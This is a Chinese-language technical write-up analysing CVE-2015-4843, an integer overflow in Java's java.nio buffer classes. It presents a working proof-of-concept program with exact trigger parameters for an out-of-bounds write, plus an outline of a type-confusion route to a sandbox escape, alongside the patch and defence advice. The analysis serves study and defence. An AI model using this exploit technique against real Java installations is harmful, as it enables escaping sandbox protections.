Java沙箱逃逸走过的二十个春秋(三)
字数 1604 2025-08-27 12:33:31
Java沙箱逃逸技术:整数溢出漏洞分析与利用
1. 整数溢出漏洞基础
1.1 整数溢出概念
整数溢出发生在算术运算结果超出变量位数表示范围时。在Java中:
- 整数使用32位表示
- 正整数范围:0x00000000(0)到0x7FFFFFFF(2³¹-1)
- 负整数范围:0x80000000(-2³¹)到0xFFFFFFFF(-1)
典型溢出示例:0x7FFFFFFF(2³¹-1)递增后变为0x80000000(-2³¹)
1.2 整数溢出的安全影响
整数溢出常被用于:
- 绕过数组边界检查
- 创建越界读写原语
- 实现类型混淆攻击
- 最终禁用安全管理器
2. CVE-2015-4843漏洞分析
2.1 漏洞背景
漏洞存在于java.nio包中的Buffers类,影响DirectXBufferY.java生成的多个类:
- X可以是"Byte"、"Char"、"Double"、"Int"、"Long"、"Float"或"Short"
- Y可以是"S"(有符号)、"U"(无符号)、"RS"(只读有符号)、"RU"(只读无符号)
2.2 漏洞代码分析
漏洞文件:java/nio/Direct-X-Buffer.java.template
关键问题:在32位整数上执行移位操作导致整数溢出
修复前代码片段:
if ((length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
Bits.copyFrom$Memtype$Array(src, offset << $LG_BYTES_PER_VALUE$,
ix(pos), length << $LG_BYTES_PER_VALUE$);
修复后代码片段:
if (((long)length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {
Bits.copyFrom$Memtype$Array(src,
(long)offset << $LG_BYTES_PER_VALUE$,
ix(pos),
(long)length << $LG_BYTES_PER_VALUE$);
2.3 漏洞利用原理
2.3.1 get()方法分析
关键方法签名:
public IntBuffer get(int[] dst, int offset, int length)
调用链:
- Java层get()方法
- 调用Bits.copyToIntArray()原生方法
原生方法实现(C代码):
JNIEXPORT void JNICALL
Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this,
jlong srcAddr, jobject dst, jlong dstPos, jlong length)
{
// 无边界检查直接操作内存
srcInt = (jint *)jlong_to_ptr(srcAddr);
dstInt = (jint *)(bytes + dstPos);
// 直接进行内存拷贝
}
2.3.2 利用条件
需要满足三个条件:
-
条件1:
((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD- 阈值JNI_COPY_FROM_ARRAY_THRESHOLD=6
- 实际要求:length > (6 >> 2) => length > 1
-
条件2:checkBounds检查
if ((off | len | (off + len) | (size - (off + len))) < 0)等价于:
- offset > 0
- length > 0
- (offset + length) > 0
- (dst.length - (offset + length)) > 0
-
条件3:
length < lim - pos(假设pos=0时为length < dst.length)
2.3.3 构造利用参数
有效参数组合示例:
dst.length = 1209098507
offset = 1073741764 // offset << 2 = -240
length = 2
计算验证:
- offset << 2 = 1073741764 << 2 = -240 (整数溢出)
- 实际会从dst数组前240字节处开始读写
2.4 漏洞验证PoC
public class Test {
public static void main(String[] args) {
int[] dst = new int[1209098507];
for (int i = 0; i < dst.length; i++) {
dst[i] = 0xAAAAAAAA;
}
int bytes = 400;
ByteBuffer bb = ByteBuffer.allocateDirect(bytes);
IntBuffer ib = bb.asIntBuffer();
for (int i = 0; i < ib.limit(); i++) {
ib.put(i, 0xBBBBBBBB);
}
int offset = 1073741764; // offset << 2 = -240
int length = 2;
ib.get(dst, offset, length); // 触发漏洞
}
}
2.5 内存布局分析
执行PoC后内存状态:
- dst数组地址:0x20000000
- 数组前16字节为头部(包含数组大小0x4811610b=1209098507)
- 数组前240字节区域被写入0xBBBBBBBB
内存权限检查:
00000001fc2c0000 62720K rwx-- [anon]
0000000200000000 5062656K rwx-- [anon]
0000000335000000 11714560K rwx-- [anon]
3. 漏洞利用进阶
3.1 类型混淆攻击
利用读写原语实现类型混淆的步骤:
-
构造特定内存布局:
B[] |0|1|...k|......|l| A[] |0|1|2|...i|...m| int[] |0|...j|...n| -
利用读取原语将A[i]地址写入int[j]
-
将int[j]引用写入B[k]
-
结果:JVM认为B[k]是B类型,实际是A类型
3.2 堆布局技巧
稳定堆布局参数:
l = 429496729
m = l
n = 858993458
4. 影响范围与修复
4.1 受影响版本
共51个Java版本受影响:
- Java 1.6: 18个版本(1.6_23到1.6_45)
- Java 1.7: 28个版本(1.7_0到1.7_80)
- Java 1.8: 5个版本(1.8到1.8_60)
4.2 修复方案
核心修复方法:
在执行移位操作前将32位整数转换为64位long类型
修复代码示例:
// 修复前
offset << $LG_BYTES_PER_VALUE$
// 修复后
(long)offset << $LG_BYTES_PER_VALUE$
5. 防御建议
- 及时更新Java到安全版本
- 对涉及数组索引的计算进行严格边界检查
- 在关键计算前使用更大数据类型(long)
- 启用Java安全管理器进行额外保护
- 对JNI调用进行严格的参数验证